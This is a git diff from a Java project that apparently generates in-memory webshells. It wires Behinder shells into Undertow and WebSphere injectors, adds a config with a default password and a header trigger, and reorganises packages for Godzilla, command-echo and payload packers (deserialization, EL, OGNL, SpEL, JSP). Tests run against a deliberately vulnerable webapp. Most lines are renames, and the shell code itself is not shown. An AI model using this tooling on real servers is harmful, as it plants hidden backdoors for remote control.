com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener; import com.reajason.javaweb.memshell.undertow.command.CommandListener; import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector; @@ -49,4 +52,16 @@ public class UndertowShell extends AbstractShell { Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class) ); } + + @Override + protected Map, Class>> getBehinderShellMap() { + return Map.of( + Constants.SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class), + Constants.JAKARTA_SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class), + Constants.FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class), + Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class), + Constants.LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class), + Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class) + ); + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java index 90425793..bc0fdb3d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java @@ -1,11 +1,14 @@ package com.reajason.javaweb.memshell; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener; import com.reajason.javaweb.memshell.websphere.command.CommandListener; import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener; import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector; @@ -43,4 +46,13 @@ public class WebSphereShell extends AbstractShell { Constants.LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class) ); } + + @Override + protected Map, Class>> getBehinderShellMap() { + return Map.of( + Constants.SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class), + Constants.FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class), + Constants.LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class) + ); + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/BehinderConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/BehinderConfig.java new file mode 100644 index 00000000..10cf9d64 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/BehinderConfig.java @@ -0,0 +1,23 @@ +package com.reajason.javaweb.memshell.config; + +import com.reajason.javaweb.memshell.utils.CommonUtil; +import lombok.*; +import lombok.experimental.SuperBuilder; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +@Getter +@SuperBuilder +@NoArgsConstructor +@AllArgsConstructor +@ToString +public class BehinderConfig extends ShellToolConfig { + @Builder.Default + private String pass = "pass"; + @Builder.Default + private String headerName = "User-Agent"; + @Builder.Default + private String headerValue = CommonUtil.getRandomString(8); +} diff --git a/generator/src/main/java/com/reajason/javaweb/config/CommandConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java similarity index 86% rename from generator/src/main/java/com/reajason/javaweb/config/CommandConfig.java rename to generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java index 9419d2bb..d9ad38b8 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/CommandConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.config; +package com.reajason.javaweb.memshell.config; import lombok.Builder; import lombok.Getter; diff --git a/generator/src/main/java/com/reajason/javaweb/config/Constants.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java similarity index 92% rename from generator/src/main/java/com/reajason/javaweb/config/Constants.java rename to generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java index d23118eb..ac331e06 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/Constants.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.config; +package com.reajason.javaweb.memshell.config; import net.bytebuddy.jar.asm.Opcodes; diff --git a/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java similarity index 96% rename from generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java rename to generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java index 16b19840..8bfb0054 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.config; +package com.reajason.javaweb.memshell.config; import lombok.Builder; import lombok.Data; diff --git a/generator/src/main/java/com/reajason/javaweb/config/GodzillaConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/GodzillaConfig.java similarity index 83% rename from generator/src/main/java/com/reajason/javaweb/config/GodzillaConfig.java rename to generator/src/main/java/com/reajason/javaweb/memshell/config/GodzillaConfig.java index 524c9d21..67956665 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/GodzillaConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/GodzillaConfig.java @@ -1,6 +1,6 @@ -package com.reajason.javaweb.config; +package com.reajason.javaweb.memshell.config; -import com.reajason.javaweb.util.CommonUtil; +import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.*; import lombok.experimental.SuperBuilder; diff --git a/generator/src/main/java/com/reajason/javaweb/config/InjectorConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java similarity index 90% rename from generator/src/main/java/com/reajason/javaweb/config/InjectorConfig.java rename to generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java index 840d4b75..7c1d993a 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/InjectorConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java @@ -1,6 +1,6 @@ -package com.reajason.javaweb.config; +package com.reajason.javaweb.memshell.config; -import com.reajason.javaweb.util.CommonUtil; +import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; diff --git a/generator/src/main/java/com/reajason/javaweb/config/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java similarity index 97% rename from generator/src/main/java/com/reajason/javaweb/config/Server.java rename to generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java index 518432c5..abf18e28 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.config; +package com.reajason.javaweb.memshell.config; import com.reajason.javaweb.memshell.*; import lombok.Getter; diff --git a/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java similarity index 96% rename from generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java rename to generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java index 9ed4a5c4..f5e9fbdf 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.config; +package com.reajason.javaweb.memshell.config; import lombok.AllArgsConstructor; import lombok.Builder; diff --git a/generator/src/main/java/com/reajason/javaweb/config/ShellTool.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java similarity index 60% rename from generator/src/main/java/com/reajason/javaweb/config/ShellTool.java rename to generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java index e35f372e..d58c4691 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/ShellTool.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellTool.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.config; +package com.reajason.javaweb.memshell.config; /** * @author ReaJason @@ -13,5 +13,10 @@ public enum ShellTool { /** * 命令回显 */ - Command + Command, + + /** + * 冰蝎 + */ + Behinder } diff --git a/generator/src/main/java/com/reajason/javaweb/config/ShellToolConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellToolConfig.java similarity index 83% rename from generator/src/main/java/com/reajason/javaweb/config/ShellToolConfig.java rename to generator/src/main/java/com/reajason/javaweb/memshell/config/ShellToolConfig.java index 044e8fef..4519d308 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/ShellToolConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellToolConfig.java @@ -1,6 +1,6 @@ -package com.reajason.javaweb.config; +package com.reajason.javaweb.memshell.config; -import com.reajason.javaweb.util.CommonUtil; +import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/BCELPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/BCELPacker.java index ec0e63ab..8c6d1885 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/BCELPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/BCELPacker.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GenerateResult; import lombok.SneakyThrows; import org.apache.bcel.classfile.Utility; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Base64Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Base64Packer.java index 00b31f49..8ea5fedd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Base64Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Base64Packer.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GenerateResult; import org.apache.commons.codec.binary.Base64; /** diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/DeserializePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/DeserializePacker.java index da63c15e..528e61b4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/DeserializePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/DeserializePacker.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.deserialize.DeserializeConfig; import com.reajason.javaweb.deserialize.DeserializeGenerator; import com.reajason.javaweb.deserialize.PayloadType; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/ELPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/ELPacker.java index 490d7415..9f363036 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/ELPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/ELPacker.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GenerateResult; import org.apache.commons.io.IOUtils; import java.io.IOException; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/FreemarkerPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/FreemarkerPacker.java index 59815878..8ea74aec 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/FreemarkerPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/FreemarkerPacker.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GenerateResult; import org.apache.commons.io.IOUtils; import java.io.IOException; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/JspPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/JspPacker.java index 177f1243..bffdb810 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/JspPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/JspPacker.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GenerateResult; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/OGNLPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/OGNLPacker.java index 1f3b772a..6c79998f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/OGNLPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/OGNLPacker.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GenerateResult; import org.apache.commons.io.IOUtils; import java.io.IOException; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java index 21f50c4f..1eb66286 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GenerateResult; import lombok.Getter; import java.util.Map; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/ScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/ScriptEnginePacker.java index 31819bb7..729ccaff 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/ScriptEnginePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/ScriptEnginePacker.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GenerateResult; import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELPacker.java index dcc00a8d..2e8af386 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELPacker.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GenerateResult; import org.apache.commons.io.IOUtils; import java.io.IOException; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/VelocityPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/VelocityPacker.java index 27c7dd5a..edddb167 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/VelocityPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/VelocityPacker.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GenerateResult; import org.apache.commons.io.IOUtils; import java.io.IOException; diff --git a/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java similarity index 97% rename from generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java rename to generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java index 16ff0ee8..3cdfdd9c 100644 --- a/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java @@ -1,6 +1,6 @@ -package com.reajason.javaweb.util; +package com.reajason.javaweb.memshell.utils; -import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.memshell.config.Server; import java.io.ByteArrayOutputStream; import java.io.IOException; diff --git a/generator/src/test/java/com/reajason/javaweb/config/GodzillaShellConfigTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/config/GodzillaShellConfigTest.java similarity index 77% rename from generator/src/test/java/com/reajason/javaweb/config/GodzillaShellConfigTest.java rename to generator/src/test/java/com/reajason/javaweb/memshell/config/GodzillaShellConfigTest.java index 60709156..205747a9 100644 --- a/generator/src/test/java/com/reajason/javaweb/config/GodzillaShellConfigTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/config/GodzillaShellConfigTest.java @@ -1,5 +1,6 @@ -package com.reajason.javaweb.config; +package com.reajason.javaweb.memshell.config; +import com.reajason.javaweb.memshell.config.GodzillaConfig; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertEquals; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java index 8c174a34..6817d0a8 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GenerateResult; import org.apache.commons.codec.binary.Base64; import org.junit.jupiter.api.Test; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java index c58d7ebf..a431b0c9 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GenerateResult; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertTrue; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java index 9d664af5..78210c87 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GenerateResult; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertTrue; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java index 5147b38c..b7efaff5 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.memshell.config.GenerateResult; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertTrue; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java index 053974e0..899a1392 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.memshell.tomcat.command; -import com.reajason.javaweb.config.CommandConfig; -import com.reajason.javaweb.config.ShellConfig; +import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.CommandGenerator; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandValve; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaTest.java index 6146693a..98a47ca3 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaTest.java @@ -1,12 +1,12 @@ package com.reajason.javaweb.memshell.tomcat.godzilla; -import com.reajason.javaweb.config.GodzillaConfig; -import com.reajason.javaweb.config.ShellConfig; +import com.reajason.javaweb.memshell.config.GodzillaConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.GodzillaGenerator; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; import com.reajason.javaweb.util.ClassUtils; -import com.reajason.javaweb.util.CommonUtil; +import com.reajason.javaweb.memshell.utils.CommonUtil; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; diff --git a/godzilla/build.gradle b/godzilla/build.gradle new file mode 100644 index 00000000..3b9b96ce --- /dev/null +++ b/godzilla/build.gradle @@ -0,0 +1,32 @@ +plugins { + id "io.freefair.lombok" version "8.11" +} + + +group = 'com.reajason.javaweb' +version = '' + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + sourceCompatibility = JavaVersion.VERSION_1_8 + targetCompatibility = JavaVersion.VERSION_1_8 +} + + +dependencies { + implementation project(":common") + implementation 'net.bytebuddy:byte-buddy:1.+' + implementation 'commons-io:commons-io:2.+' + implementation 'org.apache.commons:commons-lang3:3.+' + implementation 'commons-codec:commons-codec:1.+' + + implementation 'com.squareup.okhttp3:okhttp:4.+' + testImplementation platform('org.junit:junit-bom:5.10.0') + testImplementation 'org.junit.jupiter:junit-jupiter' +} + +test { + useJUnitPlatform() +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java similarity index 98% rename from generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java rename to godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java index c960fbb1..e4be1e83 100644 --- a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java +++ b/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java @@ -1,7 +1,6 @@ package com.reajason.javaweb.godzilla; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.memshell.GodzillaGenerator; import lombok.Getter; import lombok.Setter; import lombok.SneakyThrows; @@ -32,7 +31,7 @@ public class GodzillaManager implements Closeable { private static final List CLASS_NAMES; static { - InputStream classNamesStream = Objects.requireNonNull(GodzillaGenerator.class.getResourceAsStream("/godzillaShellClassNames.txt")); + InputStream classNamesStream = Objects.requireNonNull(GodzillaManager.class.getResourceAsStream("/godzillaShellClassNames.txt")); CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8"); } diff --git a/generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java b/godzilla/src/main/java/com/reajason/javaweb/godzilla/Payload.java similarity index 100% rename from generator/src/main/java/com/reajason/javaweb/godzilla/Payload.java rename to godzilla/src/main/java/com/reajason/javaweb/godzilla/Payload.java diff --git a/generator/src/main/resources/godzillaShellClassNames.txt b/godzilla/src/main/resources/godzillaShellClassNames.txt similarity index 100% rename from generator/src/main/resources/godzillaShellClassNames.txt rename to godzilla/src/main/resources/godzillaShellClassNames.txt diff --git a/generator/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java b/godzilla/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java similarity index 100% rename from generator/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java rename to godzilla/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java diff --git a/integration-test/build.gradle b/integration-test/build.gradle index 7f5c875b..0cfb5ee3 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -13,6 +13,9 @@ version = '' dependencies { testImplementation project(":vul-webapp") + testImplementation project(":common") + testImplementation project(":behinder") + testImplementation project(":godzilla") testImplementation project(':generator') testImplementation 'org.hamcrest:hamcrest:3.0' testImplementation 'com.squareup.okhttp3:okhttp:4.12.0' diff --git a/integration-test/docker-compose/jboss/docker-compose-4-jdk6.yaml b/integration-test/docker-compose/jbossas/docker-compose-4-jdk6.yaml similarity index 100% rename from integration-test/docker-compose/jboss/docker-compose-4-jdk6.yaml rename to integration-test/docker-compose/jbossas/docker-compose-4-jdk6.yaml diff --git a/integration-test/docker-compose/jbossas/docker-compose-5-jdk6.yaml b/integration-test/docker-compose/jbossas/docker-compose-5-jdk6.yaml new file mode 100644 index 00000000..bf9964c4 --- /dev/null +++ b/integration-test/docker-compose/jbossas/docker-compose-5-jdk6.yaml @@ -0,0 +1,11 @@ +services: + jboss510: + image: reajason/jboss:5-jdk6 + container_name: jboss510 + ports: + - 8080:8080 + - 5005:5005 + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/jboss/server/web/deploy/app.war diff --git a/integration-test/docker-compose/jboss/docker-compose-6-jdk7.yaml b/integration-test/docker-compose/jbossas/docker-compose-6-jdk7.yaml similarity index 100% rename from integration-test/docker-compose/jboss/docker-compose-6-jdk7.yaml rename to integration-test/docker-compose/jbossas/docker-compose-6-jdk7.yaml diff --git a/integration-test/docker-compose/jboss/docker-compose-7-jdk7.yaml b/integration-test/docker-compose/jbossas/docker-compose-7-jdk7.yaml similarity index 100% rename from integration-test/docker-compose/jboss/docker-compose-7-jdk7.yaml rename to integration-test/docker-compose/jbossas/docker-compose-7-jdk7.yaml diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/BehinderShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/BehinderShellTool.java new file mode 100644 index 00000000..def5d4f1 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/BehinderShellTool.java @@ -0,0 +1,21 @@ +package com.reajason.javaweb.integration; + +import com.reajason.javaweb.behinder.BehinderManager; +import com.reajason.javaweb.memshell.config.BehinderConfig; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author ReaJason + * @since 2024/11/30 + */ +public class BehinderShellTool { + + public static void testIsOk(String entrypoint, BehinderConfig shellConfig) { + BehinderManager behinderManager = BehinderManager.builder() + .entrypoint(entrypoint).pass(shellConfig.getPass()) + .header(shellConfig.getHeaderName() + , shellConfig.getHeaderValue()).build(); + assertTrue(behinderManager.test()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java index 6d3a464c..f7bc23ee 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.integration; -import com.reajason.javaweb.config.CommandConfig; +import com.reajason.javaweb.memshell.config.CommandConfig; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import okhttp3.HttpUrl; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java index 6ee1c921..ab2026ae 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.integration; -import com.reajason.javaweb.config.GodzillaConfig; +import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.godzilla.GodzillaManager; import java.io.IOException; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 30841bb9..66c2aaba 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration; import com.reajason.javaweb.GeneratorMain; -import com.reajason.javaweb.config.*; +import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; @@ -32,14 +32,14 @@ public class ShellAssertionTool { switch (shellTool) { case Godzilla: - String pass = "pass"; - String key = "key"; - String headerValue = "Godzilla" + shellType + packer.name(); + String godzillaPass = "pass"; + String godzillaKey = "key"; + String godzillaHeaderValue = "Godzilla" + shellType + packer.name(); GodzillaConfig godzillaConfig = GodzillaConfig.builder() - .pass(pass).key(key) - .headerName("User-Agent").headerValue(headerValue) + .pass(godzillaPass).key(godzillaKey) + 